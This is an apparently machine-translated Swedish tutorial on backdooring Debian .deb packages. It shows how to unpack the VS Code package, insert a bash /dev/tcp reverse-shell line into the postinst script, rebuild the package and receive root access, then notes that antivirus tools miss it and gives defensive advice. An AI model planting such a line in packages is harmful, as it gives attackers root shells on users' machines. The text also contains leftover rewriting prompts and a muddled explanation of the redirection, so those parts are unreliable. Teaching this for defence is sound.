Hur DEB-paket förses med bakdörrar och hur man upptäcker det
Viktiga slutsatser
Potentiellt skadliga aktörer kan utnyttja Debians paketarkiv genom att i smyg föra in skadlig programvara i en användares system genom installationsprocessen med hjälp av förhöjda behörigheter.
Att upptäcka infekterade Debian-paketfiler kan vara en utmaning på grund av deras potentiella undvikande av upptäckt av antivirusprogram och molnbaserade plattformar som VirusTotal.
För att skydda sig själv är det lämpligt att avstå från att skaffa DEB-paket från okända källor, välj hellre auktoriserade distributionsplattformar eller webbplatser som har godkänts av en pålitlig gemenskap. Genom att implementera säkerhetsåtgärder på sitt Linux-operativsystem kan man dessutom minska potentiella hot från cyberattacker.
DEB-filer är en vanlig form av programvaruleverans för Debian-baserade Linux-operativsystem och fungerar som standardformat för distribution av applikationer inom dessa plattformar.
För att distribuera DEB-filer (Debian Package) är det nödvändigt att använda ett pakethanteringsverktyg som dpkg samtidigt som man har administrativa privilegier. Cyberbrottslingar utnyttjar dock denna sårbarhet genom att bädda in obehöriga åtkomstpunkter i dessa paket, som följaktligen körs vid installation via antingen dpkg eller en annan jämförbar programvaruinstallatör. Denna taktik leder till potentiella brott mot säkerhetsramen för ens datorsystem.
Låt oss gå djupare in på de komplicerade bakdörrssårbarheterna i DEB-paket och undersöka vilka åtgärder som kan vidtas för att skydda sig mot potentiella hot.
Hur är DEB-paket försedda med bakdörrar?
Låt oss först fördjupa oss i Debian Package Archives (DEB) innan vi förklarar hur känsliga de är för bakdörrssårbarheter. För att illustrera detta koncept ska vi använda det allestädes närvarande Microsoft Visual Studio Code DEB-paketet som erhållits direkt från den uppskattade Microsoft-webbplatsen som vår referenspunkt. Samma paket som Linux-entusiaster världen över använder när de installerar Visual Studio Code på sina respektive system.
Ladda ner: Visual Studio Code
För att extrahera innehållet i ett DEB-paket med hjälp av verktyget dpkg-deb kan man använda flaggan “-R” tillsammans med den katalogväg där de extraherade filerna ska lagras.Syntaxen för denna operation skulle se ut på följande sätt:cssdpkg-deb -R [DEPENDENCY_PATH] [TARGET_FILENAME]
dpkg-deb -R <package_name> <path>
Ett möjligt sätt att formulera detta uttalande på ett mer raffinerat sätt skulle vara följande:“Denna åtgärd är avsedd att hämta innehållet i programvarupaketetVS Code.
När man öppnar den angivna mappen kommer man att upptäcka en mängd underkataloger. Det är dock viktigt att notera att vi endast är intresserade av katalogen “DEBIAN” i nämnda mapp. Denna katalog innehåller en serie underhållsskript som körs vid installationen och har höga behörigheter, särskilt root-användarens. Det bör inte komma som någon överraskning att skadliga aktörer har varit kända för att manipulera just dessa skript för sina skadliga syften.
Tillåt mig att förfina språket åt dig. I det aktuella fallet handlar det om att ändra efterinstallationsskriptet och införliva ett lämpligt omvänt TCP-skal som ett Bash-kommando på en rad. I enlighet med nomenklaturen utlöses detta skript efter installationen av programvarupaketet på systemet.
Det ovan nämnda skriptet innehåller direktiv för olika aspekter av konfigurationen, inklusive symboliska länkar och hantering av beroenden. En myriad av alternativa reverse shell-lösningar finns tillgängliga online, och många av dem har liknande funktionalitet. Ett illustrativt exempel på en reverse shell-exploatering kan t.ex. utföras med följande kommando:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Förklaring av kommandot:
Exekveringen av Bash-skalet inleds med hjälp av detta kommando.
När flaggan finns med uppmanas Bash att arbeta på ett interaktivt sätt, vilket möjliggör omedelbar inmatning och utmatning av kommandon.
Kommandot “<&/dev/tcp/ip/port:” omdirigerade både standardutdata och standardfel till en nätverkssocket, vilket skapade en TCP-anslutning med IP-adressen “ip” på porten “port”.
Kommandot omdirigerar både standardinmatning och standardutmatning så att de skickas via en nätverkssockel genom att ange en adress och ett portnummer, vilket innebär att alla data överförs från den angivna slutpunkten.
Personer som inte är bekanta med begreppet kan uppfatta ett reverse shell som en särskild delmängd av ett programmeringsspråk eller skript som, när det används på det avsedda systemet, upprättar en säker kommunikationskanal mellan den komprometterade värden och angriparens dator.Fördelen med denna teknik är att den kan kringgå konventionella säkerhetsåtgärder för nätverk, t.ex. brandväggar, eftersom dataflödet kommer inifrån det skyddade området i stället för att försöka tränga igenom det utifrån.
Så här ser det modifierade skriptet ut:
Det verkar faktiskt som om alla aspekter förblir oförändrade, förutom införandet av vår reversibla skalimplementering. För att rekonstruera den ovan nämnda “.deb”-paketfilen kan du antingen använda kommandot “dpkg” tillsammans med flaggan “-b” och ange den relevanta katalogvägen, eller alternativt använda verktyget “dpkg-deb” tillsammans med flaggan “-b” följt av den angivna sökvägen för de extraherade komponenterna.
dpkg --build <directory>
dpkg-deb -b <directory>
I händelse av att en användare har lyckats anskaffa det komprometterade DEB-paketet från en olaglig källa, och därefter installerat det på sin dator i enlighet med standardprotokoll, ska vi nu gå vidare med en hypotetisk situation för analysändamål.
Den övre panelen representerar målpersonens perspektiv, som utför installationsprocessen med kommandot “sudo dpkg -i” på ett Linux-system. Den nedre panelen visar däremot angriparens perspektiv, som flitigt övervakar inkommande kommunikation via kommandot “netcat”.
När installationsprocessen är klar är det viktigt att notera att angriparen får en reverse shell-anslutning som ger dem root-åtkomst till det komprometterade systemet. Detta demonstrerar en metod genom vilken Debian-paket kan utnyttjas genom bakdörrstekniker. Det är viktigt att förstå dessa sårbarheter för att kunna vidta lämpliga åtgärder för att skydda sig mot sådana attacker.
Hur man upptäcker om ett DEB-paket är skadligt
I ljuset av vetskapen att komprometterade Debian Package Archives (DEB) existerar, kan man fråga sig hur man identifierar sådana fall. Till att börja med är ett alternativ att använda antivirusprogram för Linux-system, såsom ClamAV. Efter att ha genomfört en ClamAV-skanning på paketet i fråga upptäcktes dock inga tecken på skadlig avsikt. Resultaten av skanningsprocessen visas nedan:
Att använda ett antivirusprogram i toppklass garanterar inte ogenomtränglighet mot cyberattacker. Följaktligen kan det vara svårt att identifiera skadliga .deb-filer. Ett alternativ är att använda en molnbaserad tjänst som VirusTotal-plattformen för förbättrad detekteringsförmåga.
Baserat på resultaten från VirusTotal verkar det inte finnas några betydande skadliga aktiviteter associerade med den medföljande koden. För att minska de potentiella riskerna med liknande hot rekommenderas att användare följer grundläggande cybersäkerhetspraxis, inklusive att avstå från att ladda ner innehåll från opålitliga källor, konsekvent verifiera integriteten hos nedladdade filer genom hashanalys och i allmänhet avstå från att installera misstänkta programvaruapplikationer.
För att minska de potentiella riskerna med att surfa på nätet är det viktigt att vara försiktig när man navigerar på okända webbplatser och se till att man bara besöker välrenommerade domäner. När man använder ett Linux-operativsystem kan det dessutom vara en fördel att skaffa applikationer i form av AppImages eftersom dessa paket är inneslutna i sig själva och kan isoleras från direkt interaktion med värdsystemet, vilket ger ett extra lager av säkerhet.
Hämta inte DEB-paket från slumpmässiga webbplatser!
Debians paketfiler är i sig inte skadliga, men det finns en risk att de kan utnyttjas av cyberbrottslingar som kan manipulera och distribuera dem på ett bedrägligt sätt till intet ont anande slutanvändare. Faktum är att det är enkelt att modifiera dessa paket med bara en handfull kommandon för att infoga skadlig kod, vilket har visat sig vara en metod som ofta används av hackare för att sprida sin skadliga programvara.
Det är värt att notera att även rudimentära bakdörrssårbarheter i Debian-paket ofta undgår upptäckt av ledande antivirusprogram. Det är därför klokt att vara försiktig när man surfar på Internet och att begränsa nedladdningen av programvara till verifierade källor, t.ex. tillverkarens webbplats eller betrodda tredjepartsplattformar.
Säkra din Linux-dator genom att installera säkerhetsverktyg
Efterbehandlingsresultat till vanlig engelska:Efter att ha insett de potentiella riskerna med att distribuera DEB-paket från okända källor är det viktigt att vara försiktig när man installerar nya program. Det kanske inte räcker med att bara vara vaksam när man väljer ut program för installation. Dessutom kan ditt Linux-operativsystem också utsättas för cyberattacker via nätverk.
För att skydda dig mot potentiella cyberhot är det starkt rekommenderat att installera nätverkssäkerhetslösningar på ditt system.